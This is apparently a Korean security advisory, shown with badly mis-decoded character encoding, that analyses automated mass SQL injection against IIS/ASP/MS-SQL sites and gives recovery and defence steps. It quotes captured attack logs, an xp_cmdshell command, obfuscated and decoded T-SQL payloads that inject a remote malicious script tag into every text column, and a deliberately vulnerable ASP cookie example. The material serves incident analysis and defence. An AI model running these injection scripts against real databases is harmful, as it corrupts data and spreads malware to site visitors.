ÀÚµ¿ÈµÈ SQL Injection °ø°ÝÀ» ÅëÇÑ ¾Ç¼ºÄÚµå ´ë·® »ðÀÔ ¼ö¹ý ºÐ¼® (Mass SQL Injection)
1. °³¿ä ÀÎÅÍ³Ý È¨ÆäÀÌÁö¸¦ ´ë»óÀ¸·Î Áö¼ÓµÇ°í ÀÖ´Â °³ÀÎÁ¤º¸ À¯Ãâ»ç°í³ª ¾Ç¼ºÄÚµå »ðÀÔ»ç°í´Â SQL Injection Ãë¾àÁ¡À¸·Î ÀÎÇØ ¹ß»ýÇÑ °æ¿ì°¡ ´ëºÎºÐÀÌ´Ù. ¡°SQL Injection °ø°Ý¡±Àº ¡°¾Ç¼º SQL¹® ÁÖÀÔ°ø°Ý¡±À¸·Îµµ ºÒ¸®¸ç, ȨÆäÀÌÁö¿Í µ¥ÀÌÅͺ£À̽º°¡ µ¥ÀÌÅ͸¦ ÁÖ°í¹ÞÀ» ¶§ ÀûÀýÇÑ ÀԷ°ª °ËÁõÀ» ÇÏÁö ¾Ê¾Æ °ø°ÝÀÚ°¡ ÁÖÀÔÇÑ SQL ¸í·É¾î°¡ ½ÇÇàµÇ¸é¼ ¹ß»ýÇÑ´Ù. ÀÌ·¯ÇÑ SQL Injection °ø°ÝÀº Áö±Ýµµ °è¼ÓÇؼ Áö¼ÓµÇ°í ÀÖ°í, µ¥ÀÌÅͺ£À̽º¿¡ ¾Ç¼ºÄڵ尡 »ðÀÔµÈ »ç°í »ç·Êµµ ºÐ¼®µÈ ¹Ù ÀÖ¾ú´Ù. ÇÏÁö¸¸ ÃÖ±Ù ÀÚµ¿ÈµÈ ÇüÅÂÀÇ °ø°Ý ¼ö¹ý°ú µµ±¸µµ ¹ß°ßµÇ°í ÀÖ°í ¼ö¸¹Àº ȨÆäÀÌÁö¸¦ ´ë»óÀ¸·Î ¾Ç¼ºÄڵ带 ´ë·®À¸·Î »ðÀÔÇÏ´Â ÇüÅ·ΠȮ»êµÇ°í ÀÖ´Ù.
SQL InjectionÀ» ÀÌ¿ëÇÑ ¾Ç¼ºÄÚµå ´ë·® »ðÀÔ »ç°íÀÇ Æ¯Â¡ µ¥ÀÌÅͺ£À̽º¿¡ ¾Ç¼ºÄڵ带 ´ë·®À¸·Î »ðÀÔ ÀÚµ¿ »ðÀÔ ½ºÅ©¸³Æ®¸¦ »ç¿ëÇÏ¿© Çѹø¿¡ ¾Ç¼ºÄڵ带 ´ë·® »ðÀÔ POST³ª HTTP Header(ÄíÅ°, ¸®ÆÛ·¯ µî)¸¦ ÀÌ¿ëÇÑ °æ¿ì´Â °ø°Ý ·Î ±×¸¦ ã±â ¾î·Á¿ò ¾Ç¼ºÄÚµå »ðÀÔ °úÁ¤¿¡¼ µ¥ÀÌÅÍÀÇ ¼Õ½Ç ¶Ç´Â À¯½Ç ¹ß»ý | ÀÌ·¯ÇÑ Æ¯Â¡À» °¡Áø SQL Injection °ø°ÝµéÀº ¡°Mass SQL Injection¡± À̶ó´Â º°Äªµµ °®°Ô µÇ¾úÀ¸¸ç, Áö³ 1¿ù SANS ISC¿¡¼ ´ë·® ¾Ç¼ºÄÚµå »ðÀÔ »ç°í¿¡ ´ëÇØ ºÐ¼® ÀÚ·á°¡ °ø°³ µÈ ÀÌÈÄ, ÀÌ¿Í °ü·ÃµÈ »ç°í»ç·Ê³ª ºÐ¼® ÀÚ·á°¡ ÀÕµû¶ó ¹ßÇ¥µÇ°í ÀÖ´Ù. ÇÏÁö¸¸ °á°úÀûÀ¸·Î ÇÇÇØÀÇ Á¤µµ¸¸ ´Ù¸¦ »ÓÀÌÁö, ±× ¿øÀÎÀº º¯ÇÏÁö ¾Ê¾ÒÀ¸¸ç, ÀÚµ¿ÈµÈ °ø°Ý ¼ö¹ý ¶ÇÇÑ °ú°ÅÀÇ SQL Injection °ø°ÝÀ» ÀÀ¿ëÇÑ °ÍÀÌ´Ù. º» ±â¼ú¹®¼¿¡¼´Â ¿ÃÇØ ÃʺÎÅÍ ¹ß»ýÇÏ°í È®»êµÇ¾ú´ø ÀÚµ¿ÈµÈ SQL Injection °ø°ÝÀ¸·Î ÀÎÇÑ ¾Ç¼ºÄÚµå ´ë·® »ðÀÔ »ç°í¿¡ ´ëÇØ ±× ¿øÀΰú ´ëÀÀ¹æ¾ÈÀ» »ìÆ캻´Ù. Âü°í·Î, º» ¹®¼´Â À©µµ¿ìÁîÀÇ IIS ¹× ASP¿¡¼ MS-SQL ¼¹ö¸¦ »ç¿ëÇÏ´Â ¿î¿µÈ¯°æÀ» ÀüÁ¦·Î ±â¼úÇÏ¿´´Ù.
2. »ç°í ¿øÀÎ ºÐ¼® °¡. ´ë·® ¾Ç¼º ÄÚµå »ðÀÔ»ç°í °á°ú ¿¹½Ã °ú°Å¿¡´Â À¥ »çÀÌÆ®¿¡ Á¢¼ÓÇÏ´Â PC¸¦ °¨¿°½ÃÅ°±â À§ÇØ ÃʱâÆäÀÌÁö³ª ¹æ¹®ÀÚ°¡ ¸¹Àº ÆäÀÌÁö¸¦ ´ë»óÀ¸·Î ±× ÆäÀÌÁö ÆÄÀÏ¿¡ ¾Ç¼ºÄڵ带 »ðÀÔÇÏ¿´´Ù. ÇÏÁö¸¸ º» ¹®¼¿¡¼ ´Ù·ç´Â ¾Ç¼ºÄÚµå ´ë·® »ðÀÔ »ç°í´Â µ¥ÀÌÅͺ£À̽ºÀÇ ¹®ÀÚÇü Ä÷³ÀÇ ÀÚ·á°ª ¸ðµÎ¿¡ ¾Ç¼ºÄÚµåÀÇ À¯Æ÷Áö Á¤º¸(URI)°¡ »ðÀԵȴÙ.
³ª. SQL Injection Ãë¾àÁ¡ ÀÎÅÍ³Ý È¨ÆäÀÌÁö´Â À¥ ¼¹öÀÇ ¾îÇø®ÄÉÀ̼ÇÀ» ÅëÇØ ¼ºñ½º¸¦ Á¦°øÇÏ°í ÀÌ·¯ÇÑ ÀÀ¿ë°èÃþ¿¡¼ÀÇ º¸¾È ÇãÁ¡À» À¥º¸¾È Ãë¾àÁ¡À̶ó°í ÇÑ´Ù. ±×¸®°í ÀÎÅÍ³Ý È¨ÆäÀÌÁö ħÇØ»ç°íÀÇ ´ëºÎºÐÀÌ ÀÌ·¯ÇÑ À¥º¸¾È Ãë¾àÁ¡À¸·Î ÀÎÇØ ¹ß»ýÇÏ°í ÀÖÀ¸¸ç, ±× ¿øÀÎÀ¸·Î´Â WASC(Web Application Security Consortium)ÀÇ Åë°è¸¦ º¸´õ¶óµµ, À¥ ¾îÇà ¸®ÄÉÀ̼ÇÀÌ Àü´Þ ¹Þ¾Æ ó¸®ÇÏ´Â ÀԷ°ªÀÇ °ËÁõ ÀýÂ÷ ¹®Á¦°¡ °¡Àå ¸¹´Ù. ±×¸®°í ÀԷ°ª °ËÁõ ¹®Á¦ÀÇ ´ëÇ¥ÀûÀÎ ¿¹·Î´Â SQL Injection °ø°Ý°ú XSS°ø°ÝÀ» µé ¼ö ÀÖÀ¸¸ç, SQL Injection Ãë¾àÁ¡ÀÌ Á¸ÀçÇÏ´Â °æ¿ì¿¡´Â ·Î±×ÀÎ ÀÎÁõ¿ìȸ, ½Ã½ºÅÛ ¸í·É¾î ½ÇÇà, ȸ¿ø °³ÀÎÁ¤º¸¿Í °°Àº DB ÀÚ·á À¯Ãâ µîÀÇ ÇÇÇØ°¡ ¹ß»ýÇÑ´Ù. ¿¹¸¦ µé¾î, SQL Injection Ãë¾àÁ¡ÀÌ ÀÖ´Â À¥ »çÀÌÆ®¸¦ ÅëÇØ MS-SQL ¼¹öÀÇ È®Àå ÇÁ·Î½ÃÀú Áß ¡°xp_cmdshell¡°À» ÀÌ¿ëÇØ ½Ã½ºÅÛ ¸í·É¾î¸¦ ½ÇÇà½ÃÅ°¸é À©µµ¿ìÁî OSÀÇ ³»Àå ¸í·É¾îµéÀ» °ø°ÝÀÚ°¡ ¼Õ½±°Ô »ç¿ëÇÒ ¼ö ÀÖ´Ù. ¾Æ·¡´Â ±× »ç·Ê·Î½á SQL Injection Ãë¾àÁ¡À» ¾Ç¿ëÇÏ¿© ½Ã½ºÅÛ ¸í·ÉÀ» ½ÇÇà ÇÑ ´ç½ÃÀÇ À¥·Î±×ÀÌ´Ù
2008-05-23 09:49:51 W3SVC858317 XX.55.211.233 GET /servic e/read3.asp idx=47';CREATE TABLE [X_9]([id] int NOT NULL IDENTITY (1,1), [ResultTxt] varchar(1024) NULL);insert in to [X_9](ResultTxt) EXEC MASTER..XP_CMDSHELL 'Dir C:\';in sert into [X_9](ResultTxt) values ('g_ov');exec master..s p_dropextendedproc 'xp_cmdshell'-- 80 - 200 0 0 | ÀÌ¿Ü¿¡µµ ´Ù¾çÇÑ SQL Injection °ø°Ý ¼ö¹ýÀÌ ÀÖÀ¸¸ç ÀÌ¿¡ ´ëÇÑ ÀÚ¼¼ÇÑ ³»¿ëÀº KrCERT/CC°¡ ¹ß°£ÇÑ ÀÚ·á¿¡¼ »ó¼¼È÷ ±â¼úÇÑ ¹Ù ÀÖ´Ù.
´Ù. ¾Ç¼ºÄÚµå »ðÀÔ °ø°Ý ½ºÅ©¸³Æ® ºÐ¼® SQL Injection Ãë¾àÁ¡À» ÀÌ¿ëÇÏ¿© ´ë·®ÀÇ ¾Ç¼ºÄڵ带 »ðÀÔÇÏ´Â ½ºÅ©¸³Æ®´Â ¿©·¯ Á¾·ù°¡ ¹ß°ßµÇ¾ú´Ù. ´ëºÎºÐÀÇ °æ¿ì ½ºÅ©¸³Æ®ÀÇ ³»¿ë »ó °ÅÀÇ À¯»çÇϱ⠶§¹®¿¡, ±× Áß ´ëÇ¥ÀûÀÎ »ç·Ê¸¦ µé¾î ½ÇÇà ¹æ½ÄÀ» ºÐ¼®ÇÑ´Ù. ¹ß°ßµÈ °ø°Ý ½ºÅ©¸³Æ® ÇüÅ ¾Æ·¡ÀÇ ½ºÅ©¸³Æ®´Â À¥·Î±×¿¡¼ È®ÀÎÇÑ °ÍÀ̸ç, º»·¡ÀÇ ½ÇÇà ±¸¹®À» °ø°ÝÀÚ°¡ CAST ÇÔ¼ö·Î ÀÎÄÚµùÇÑ °ø°Ý ÇüÅÂÀÌ´Ù.
DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415 245204054205641524348415228323535292C4043205641524348415 -- Áß°£»ý·« -- 626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);-- | ¾Æ·¡´Â º¸¾ÈÀåºñ ¿ìȸ³ª ·Î±×ºÐ¼® ½Ã ´«¿¡ ¶ç±â ¾î·Æ°Ô ÇÏ´Â µîÀÇ ÀÌÀ¯·Î ³µ¶È(obfuscation)ÇÑ ÇüÅÂÀÌÁö¸¸, °á±¹ ½ÇÇà ³»¿ëÀº ´Ù¸£Áö ¾Ê´Ù.
dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe% 20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.Name,b.Name%2 -- Áß°£»ý·« -- oSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;-- | ÀÎÄÚµùµÇ¾î ÀÖ´Â °ø°Ý ½ºÅ©¸³Æ®¸¦ µðÄÚµùÇÏ¸é ´ÙÀ½°ú °°´Ù.
DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cur sor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,sys columns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_C ursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FET CH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTR IM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=hxxp:/ /malcode/b.js></script>''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor |
°ø°Ý ½ºÅ©¸³Æ® ½ÇÇà ºÐ¼® ¾Õ¼ ¿¹½ÃÇÑ °ø°Ý ½ºÅ©¸³Æ® µéÀº ´ëºÎºÐ ¾Æ·¡ÀÇ È帧µµ¿Í °°ÀÌ ½ÇÇàµÈ´Ù.
°ø°Ý ½ºÅ©¸³Æ®ÀÇ ½ÇÇà ºÐ¼® °á°ú¿¡¼ ¸î °¡Áö ÁÖ¸ñÇØ¾ß ÇÒ Æ¯Â¡ÀÌ ÀÖ´Ù. ¿ì¼±, Àӽú¯¼ö¸¦ ¼±¾ðÇÏ¿© Å×À̺í¸í°ú Ä÷³¸íÀ» ÃßÃâÇϱâ À§ÇØ DBMSÀÇ ½Ã½ºÅÛ Å×À̺íÀÎ Sysobjects[1]¿Í Syscolumns[2]¿¡ ÀúÀåµÇ¾î ÀÖ´Â µ¥ÀÌÅͺ£À̽º Á¤º¸¸¦ ¼öÁý (select)ÇÏ´Â ºÎºÐÀÌ´Ù. ÀÌ µÎ Å×À̺íÀº µ¥ÀÌÅͺ£À̽º¿¡ ´ëÇÑ °³Ã¼ Á¤º¸¿Í Ä÷³¿¡ ´ëÇÑ Á¤º¸ µîÀ» ´ã°í ÀÖ´Ù. ±×·¯¹Ç·Î ÇÊ¿äÇÏÁö ¾Ê´Ù¸é, ÀÌ µÎ Å×ÀÌºí¿¡ ´ëÇÑ Á¶È¸ ±ÇÇÑÀ» Á¦°ÅÇÏ´Â °Í¸¸À¸·Îµµ ¾Ç¼ºÄÚµå »ðÀÔÀ» ¿¹¹æÇÒ ¼ö ÀÖÀ¸¸ç, ÀÚ¼¼ÇÑ º¸¾È °È¹æ¹ýÀº ´ëÀÀ¹æ¾È¿¡¼ »ìÆ캻´Ù. °ø°Ý ½ºÅ©¸³Æ®¿¡¼ Sysobjects¿Í Syscolumns Å×ÀÌºí¿¡¼ ÃßÃâ ÇÏ°íÀÚ ÇÏ´Â Á¤º¸´Â À¥ ¼ºñ½º¿ëÀ¸·Î °³¹ßÀÚ°¡ »ý¼ºÇÑ Å×À̺í[1] Á¤º¸¿Í ¾Ç¼ºÄڵ带 »ðÀÔÇϱâ À§ÇØ ¹®ÀÚÇüÀ¸·Î »ý¼ºµÈ Ä÷³[2] Á¤º¸ÀÌ´Ù. Å×À̺í°ú Ä÷³ Á¤º¸¸¦ ¾òÀº ÈÄ¿¡´Â ¾Ç¼ºÄÚµå »ðÀÔ ´ë»ó Ä÷³ÀÇ ÀÚ·á °ªÀ» ° Á¦·Î ÀÚ·á Çü(data type) º¯È¯ÇÑ ÈÄ ¾Ç¼ºÄڵ带 ºÙ¿© ¾÷µ¥ÀÌÆ® ÇÑ´Ù. ÀÌ °úÁ¤¿¡¼ ÀÚ·á Çü º¯È¯ÀÌ À߸ø µÇ¾î ÀÚ·á °ªÀÌ ¼Õ»óµÇ°Å³ª À¯½ÇµÉ ¼ö ÀÖ´Ù. ¿¹¸¦ µé¾î ¿øº» Ä÷³ÀÌ "TEXT" ÇüÀ¸·Î ¼³Á¤µÈ »óÅ¿¡¼ ¾Ç¼ºÄÚµå »ðÀÔÀ» À§ÇÑ Àӽà º¯¼öÀÇ Å©±â¸¦ ÃÊ°úÇÏ´Â °æ¿ì´Â ±× Â÷À̸¸Å ÀÚ·á°¡ À¯½ÇµÈ´Ù.
¶ó. SQL ¸í·É ÁÖÀÔ ÁöÁ¡ÀÇ ´Ù¾çÈ 1) »ç¿ëÀÚ ÀԷ°ª¿¡ ´ëÇÑ SQL Injection Áö±Ý±îÁö SQL Injection °ø°ÝÀº HTTPÀÇ GETÀ̳ª POST ¸Þ¼Òµå¸¦ ÅëÇØ Ãë¾àÁ¡ÀÌ Á¸ÀçÇÏ´Â ÀÎÀÚ¿¡ SQL¹®À» ÁÖÀÔÇÏ´Â ÇüÅ°¡ ´ëºÎºÐÀ̾ú´Ù. ¾Æ·¡´Â GET ¸Þ¼Òµå¸¦ ÅëÇØ SQL InjectionÀ» ½ÃµµÇÑ ´ç½ÃÀÇ À¥ ·Î±×ÀÌ´Ù.
69.149.XXX.53 - - [08/Jun/2008:22:57:15 +0900] "GET /tel/H0000.asp?HotelId=126;DECLARE @SVARCHAR(4000);SET @S=CAST(0 x4445434C415245204054205641524348415228323535292C40432056415243484152 2832353529204445434C415245205461626C655F437572736F7220435552534F52204 64F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F62 6A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E6 96420414E4420612E787 -- ÀÌÇÏ »ý·« -- |
2) HTTP Header¿¡ ´ëÇÑ SQL Injection ÃÖ±Ù ¹ß°ßµÇ´Â ¾Ç¼ºÄÚµå ´ë·® »ðÀÔ »ç°íµéÀº SQL ¸í·ÉÀÌ ÁÖÀԵǴ ÁöÁ¡ÀÌ ´Ù¾çÇØÁö°í ÀÖ´Ù. Áï, HTTP Header¿¡ Æ÷ÇԵǾî ÀÖ´Â ÄíÅ°(cookie)³ª ¸®ÆÛ·¯(referer)¸¦ ÅëÇÑ SQL Injection °ø°Ýµµ ½ÃµµµÇ°í ÀÖ´Ù.
ÄíÅ°¿¡ ´ëÇÑ SQL Injection ¾Æ·¡ÀÇ Æ®·¡ÇÈ ·Î±×´Â HTTP Header¸¦ ÅëÇØ SQL Injection°ø°ÝÀÌ ½ÃµµµÈ »ç·Ê·Î½á ÄíÅ°¿¡¼ »ç¿ëµÈ ÀÎÀÚ °ª¿¡ SQL ¸í·É ÁÖÀÔÀ» ½ÃµµÇÑ °æ¿ìÀÌ´Ù.
ÄíÅ° °ªµµ ¼¹ö Ãø¿¡¼ µ¥ÀÌÅͺ£À̽º¿Í ¿¬µ¿µÇ´Â ºÎºÐÀÌ ÀÖ´Ù¸é Ãë¾àÁ¡ÀÌ Á¸ÀçÇÒ ¼ö ÀÖ´Ù. ÄíÅ°ÀÇ SQL Injection Ãë¾àÁ¡À» ¼³¸íÇϱâ À§ÇØ °£´ÜÇÑ À¥ ÆäÀÌÁö¸¦ ¿¹¸¦ µé¾îº»´Ù. À¥ »çÀÌÆ®ÀÇ ÇÁ·Î±×·¥ ¼Ò½º´Â ¾Æ·¡¿Í °°À¸¸ç, ID¿Í Password°¡ ÀÏÄ¡ÇÏ¸é ·Î±×ÀÎÀ» Çã¿ëÇÏ¸é¼ Á¢¼ÓÀÚÀÇ ID °ªÀ» ÄíÅ°¿¡ »ý¼ºÇÑ´Ù. ±×¸®°í ·Î±×ÀΠ󸮸¦ ¼öÇàÇÏ´Â ÆäÀÌÁö¿¡¼´Â SQL Injection¹æÁö¸¦ À§ÇØ ID³ª Password°ª¿¡ ´ëÇØ InputFilter¶ó´Â ÇÔ¼ö·Î º¸È£Çß´Ù.
<% Dim UserID : UserID = InputFilter(Request.Form("UserID")) ' SQL Injection¹æ¾î¸¦ À§ÇØ InputFilter»ç¿ë Dim UserPW : UserPW = InputFilter(Request.Form("UserPW")) Dim Result : Result = CheckLogin(UserID, UserPW) If Result = True Then Response.Cookies("www")("userid") = UserID Else Response.Write "ÀÎÁõ½ÇÆÐ" End If %> | ¾Æ·¡´Â ÀԷ°ª¿¡ ´ëÇÑ °ËÁõÀýÂ÷¸¦ ¼öÇàÇÏ´Â InputFilterÇÔ¼öÀ̸ç, ÀÌ ÇÔ¼ö¸¦ »ç¿ëÇÏ¿© ÀԷ°ªÀ» °Ë»çÇÑ´Ù¸é, ¾Æ·¡ÀÇ ¿¹½Ã Äڵ忡¼ ¸í½ÃÇÑ´ë·Î ÀԷ°ªÀÌ ¼ýÀÚ¿Í ¿µ¹®ÀÚÀÏ °æ¿ì¿¡¸¸ Çã¿ëÇÑ´Ù.
<% ¡®SQL Injection¹æ¾î¸¦ À§ÇÑ InputFilter ÇÔ¼öÀ̸ç Á¤¼ö, ¾ËÆĺª¸¸ ÀԷ°¡´É Function InputFilter(str) Dim i, ret ret = TRUE For i = 1 To Len(str) If Not((Asc(Mid(str, i, 1)) >= 48 And Asc(Mid(str, I, 1)) <= 57) Or (Asc(Mid(str, i, 1)) >= 65 And Asc(Mid(str, i, 1)) <= 90) Or (Asc(Mid(str, i, 1)) >= 97 And Asc(Mid(str, i, 1)) <= 122)) Then ret = FALSE End If -- ÀÌÇÏ »ý·« -- | Âü°í·Î, À§ÀÇ ÀԷ°ª °ËÁõ ÇÔ¼ö¿¡¼ Çã¿ëÇÏ´Â ¹üÀ§´Â ASCII°ªÀ¸·Î º¯È¯ ÇÏ¿´À»¶§ 48~57Àº ¼ýÀÚ, 65~90Àº ¿µ¹® ´ë¹®ÀÚ, 97~122´Â ¿µ¹® ¼Ò¹®ÀÚ¸¦ ¶æÇÑ´Ù. ÀÌÁ¦ Á¢¼ÓÀÚ°¡ °Ô½Ã¹°À» ÀÛ¼ºÇÏ°Ô µÇ¸é, ¾Æ·¡ÀÇ ÇÁ·Î±×·¥ ¼Ò½º¿Í °°ÀÌ Á¦¸ñ°ú °Ô½Ã ³»¿ëÀ» ÀÔ·Â ¹ÞÀ¸¸ç, ÀÌ ¶§ Á¦¸ñÀ̳ª °Ô½Ã ³»¿ë¿¡ Ȥ½Ã¶óµµ SQL Injection ¹®ÀÚ¿ÀÌ Æ÷ÇԵǾî ÀÖ´ÂÁö °ËÁõÇϱâ À§ÇØ InputFilter ÇÔ¼ö¸¦ »ç¿ëÇß´Ù. ±×·¯¹Ç·Î Á¦¸ñÀ̳ª °Ô½Ã ³»¿ëÀº ¾ÈÀüÇÏ°Ô µ¥ÀÌÅͺ£À̽º¿¡ Àü´Þ µÉ ¼ö ÀÖ´Ù.
<% Dim Title : Title = InputFilter(Request.Form("Title")) Dim Content : Content = InputFilter(Request.Form("Content")) Dim Writer : Writer = Request.Cookies("www")("userid") ' ÄíÅ°´Â ±×´ë·Î °¡Á®¿Í¼ »ç¿ë SQL = "Insert Into Board (" SQL = SQL & "Title, Content, Writer " SQL = SQL & ") Values ( " SQL = SQL & " '" & Title & "', '" & Content & "', '" & Writer & "') " Db.Execute SQL ' SQL Injection Ãë¾àÁ¡ ¹ß»ý!! %> | ±×·¯³ª ÄíÅ° °ªÀº »ó´ëÀûÀ¸·Î ¾ÈÀüÇÏ´Ù°í »ý°¢Çؼ ÀԷ°ª °ËÁõÀ» ÇÏÁö ¾Ê¾Ò±â ¶§¹®¿¡ °á±¹ SQL Injection Ãë¾àÁ¡ÀÌ Á¸ÀçÇÏ´Â °á°ú¸¦ ÃÊ·¡Çß´Ù.
Âü°í·Î, SQL Injection °ü·Ã »ç°í¸¦ ºÐ¼®ÇÏ¸é¼ À¥¹æȺ®ÀÌ ÀÖÀ½¿¡µµ ħÇØ»ç°í°¡ ¹ß»ýÇÑ °æ¿ì°¡ ´Ù¼ö ÀÖ¾î À¥¹æȺ®ÀÇ ¹®Á¦°¡ ÀÖ´ÂÁö ºÐ¼® ÇØ º¸¾ÒÀ¸³ª, À¥¹æȺ®ÀÇ ¿À·ù³ª ¹ö±×°¡ ¾Æ´Ï¶ó ¿î¿µÀÚ°¡ HTTP Header¿¡ ´ëÇÑ °ø°Ý Â÷´Ü±â´ÉÀ» È°¼ºÈ ½ÃÅ°Áö ¾ÊÀº ä·Î ¿î¿µµÇ°í ÀÖ¾ú±â ¶§¹®¿¡ ¹ß»ýÇÑ »ç·Ê¿´´Ù. ¿¹¸¦ µé¾î, À©µµ¿ìÁî IIS ¿î¿µ ȯ°æ¿¡¼ »ç¿ëÇÏ´Â °ø°³À¥¹æȺ®ÀÎ WebKnightÀÇ °æ¿ì¿¡µµ Header Injection°ü·Ã ±â´ÉÀ» È°¼ºÈ ÇÏÁö ¾ÊÀ¸¸é ÄíÅ°³ª ¸®ÆÛ·¯ÀÇ SQL Injection°ø°ÝÀ» ŽÁöÇϰųª Â÷´ÜÇÒ ¼ö ¾ø´Ù. ÀÌ¿¡ ´ëÇÑ ±¸Ã¼ÀûÀÎ ¼³Á¤ ¹æ¹ýÀº ´ëÀÀ ¹æ¾È¿¡¼ »ìÆ캻´Ù.
¸®ÆÛ·¯¿¡ ´ëÇÑ SQL Injection HTTP Header Áß ¸®ÆÛ·¯ÀÇ Á¤º¸¸¦ µ¥ÀÌÅͺ£À̽º¿¡ ÀÔ·ÂÇϰųª È°¿ëÇÏ´Â °æ¿ìµµ ¸¶Âù°¡Áö·Î SQL Injection Ãë¾àÁ¡ÀÌ Á¸Àç ÇÒ ¼ö ÀÖ´Ù. ¸®ÆÛ·¯ Á¤º¸´Â ÆäÀÌÁö ¿äû Á÷ÀüÀÇ Á¢¼Ó Á¤º¸¸¦ ´ã°í Àֱ⠶§¹®¿¡ ¸¶ÄÉÆÃÀ̳ª À¥ »çÀÌÆ® ºÐ¼®À» À§ÇØ ¸¹ÀÌ È°¿ëÇÏ°í ÀÖ´Ù. ¾Æ·¡ÀÇ ±×¸²Àº ¸®ÆÛ·¯Á¤º¸¿¡ SQL Injection Ãë¾àÁ¡ÀÌ Á¸Àç ÇÏ´ÂÁö È®ÀÎ ÇØ º» °á°úÀÌ´Ù.
¸®ÆÛ·¯ °ª¿¡ ÀÛÀº µû¿ÈÇ¥(¡®)¸¦ ÀÓÀÇ·Î ÀÔ·ÂÇÏ¿© ¼¹ö ³»ºÎ ¿À·ù¸¦ À¯¹ß½ÃŲ °á°ú·Î ¹Ì·ç¾î º¼ ¶§, ¸®ÆÛ·¯¿¡ SQL InjectionÃë¾àÁ¡ÀÌ Á¸ÀçÇÑ´Ù°í ÃßÁ¤ ÇÒ ¼ö ÀÖ¾úÀ¸¸ç, ½ÇÁ¦ ÇÁ·Î±×·¥ ¼Ò½º¸¦ ºÐ¼®ÇÑ °á°ú¿¡¼µµ Ãë¾àÁ¡ÀÌ ÀÖÀ½À» È®ÀÎÇÏ¿´´Ù. ±×·¯¹Ç·Î ¾î¶°ÇÑ °æ·Î¸¦ ÅëÇؼ ÀÔ·ÂµÈ °ªÀÌµç °ËÁõÀýÂ÷°¡ ¹Ýµå½Ã ÇÊ¿äÇÏ´Ù.
3. º¹±¸ ¹× ´ëÀÀ ¹æ¾È
°¡. º¹±¸ ¹æ¹ý 1) µ¥ÀÌÅͺ£À̽º ¹é¾÷º»À» »ç¿ëÇÑ º¹±¸ ħÇØ»ç°í°¡ ¹ß»ýÇϱâ ÀÌÀüÀÇ ¹é¾÷º»ÀÌ ÀÖ´Ù¸é ±× ¹é¾÷º»À» ÀÌ¿ëÇÏ¿© º¹±¸ÇÏ´Â °ÍÀÌ °¡Àå ºü¸¦ °ÍÀÌ´Ù. ±×·¯³ª ½Ç½Ã°£À¸·Î °»½ÅµÇ´Â µ¥ÀÌÅͺ£À̽ºÀÇ Æ¯¼º »ó ÇÖ ¹é¾÷°ú °°ÀÌ ¹é¾÷µµ ½Ç½Ã°£À¸·Î ÀÌ·ç¾îÁö°í ÀÖ´Ù¸é ´ÙÇàÀÌÁö¸¸, ´ëºÎºÐÀÇ °æ¿ì ¹é¾÷µÈ ½ÃÁ¡ÀÌÈÄÀÇ ÀÚ·á À¯½ÇÀÌ ºÒ°¡ÇÇ ÇÏ´Ù. ±×·¯¹Ç·Î ¹é¾÷º»À¸·Î º¹±¸ÇÒ ¶§¿¡´Â ¹Ýµå½Ã ÀÚ·á À¯½Ç¿¡ ´ëÇÑ ÃæºÐÇÑ °ËÅä°¡ ÇÊ¿äÇÏ´Ù. ¿¹¸¦ µé¾î, ÀÏÀÏ ¹é¾÷ÀÌ »õº® 3½Ã¿¡ ÀÌ·ç¾îÁö°í ÀÖ´ø µ¥ÀÌÅͺ£À̽º¶ó¸é ħÇØ»ç°í°¡ ¿ÀÈÄ 1½Ã¿¡ ¹ß»ýÇÑ °æ¿ì 10½Ã°£ µ¿¾È °»½ÅµÈ ÀÚ·áÀÇ À¯½Ç¿¡ ´ëÇØ °í·ÁÇØ¾ß ÇÑ´Ù.
2) Ä÷³´ÜÀ§ º¹±¸ ¹æ¹ý Áö±Ý±îÁö ¹ß°ßµÈ ¾Ç¼ºÄÚµå »ðÀÔ »ç°í´Â ¾Æ¹«¸® ¸¹Àº ·¹Äڵ忡 ¾Ç¼ºÄڵ尡 »ðÀÔ µÆ´õ¶óµµ ƯÁ¤ ¾Ç¼ºÄÚµå À¯Æ÷Áö(URI)¸¦ ´ã°í ÀÖ¾ú±â ¶§¹®¿¡ ¡°UPDATE¡± SQL ¸í·É¹®À» »ç¿ëÇصµ ÃæºÐÈ÷ º¹±¸ ÇÒ ¼ö ÀÖ´Ù. ±×·¯³ª ½ÇÁ¦ Àû¿ë Àü¿¡´Â ¹Ýµå½Ã ½ÃÇèÀ» °ÅÄ£ ÈÄ Àû¿ëÇØ¾ß ÇÑ´Ù.
Update [Å×À̺í¸í] set [Ä÷³¸í]=replace([Ä÷³¸í],'[»èÁ¦ÇÏ°íÀÚÇÏ´Â ¾Ç¼ºÄÚµå ¹®ÀÚ¿]','') ¿¹> Update freebbs set title=replace(title,'<script src=hxxp://url/ b.js></script>','') | ¸¸¾à ÀúÀåµÇ¾î ÀÖ´ø ÀÚ·á°¡ ntext, nvarchar¿Í °°ÀÌ À¯´ÏÄڵ带 Áö¿øÇÏ´Â µî º°µµÀÇ ÀÎÄÚµù¹æ½ÄÀ¸·Î ÀúÀåµÇ¾î ÀÖ´Â °æ¿ì, ÀÚ·á Çü º¯È¯À» ÅëÇØ »ðÀÔµÈ ¾Ç¼ºÄڵ带 Á» ´õ ¼ö¿ùÇÏ°Ô Ã£¾Æ³»°í Á¦°ÅÇÒ ¼ö ÀÖ´Ù.
´Ù¸¸, ÀÚ·á Çü º¯È¯¿¡¼ »ç¿ëÇÏ´Â Àӽú¯¼öÀÇ Å©±â¸¦ ÃæºÐÈ÷ ÁöÁ¤ÇØ¾ß Ãß°¡ÀûÀÎ ÀÚ·á À¯½ÇÀ» ¿¹¹æ ÇÒ ¼ö ÀÖ´Ù.
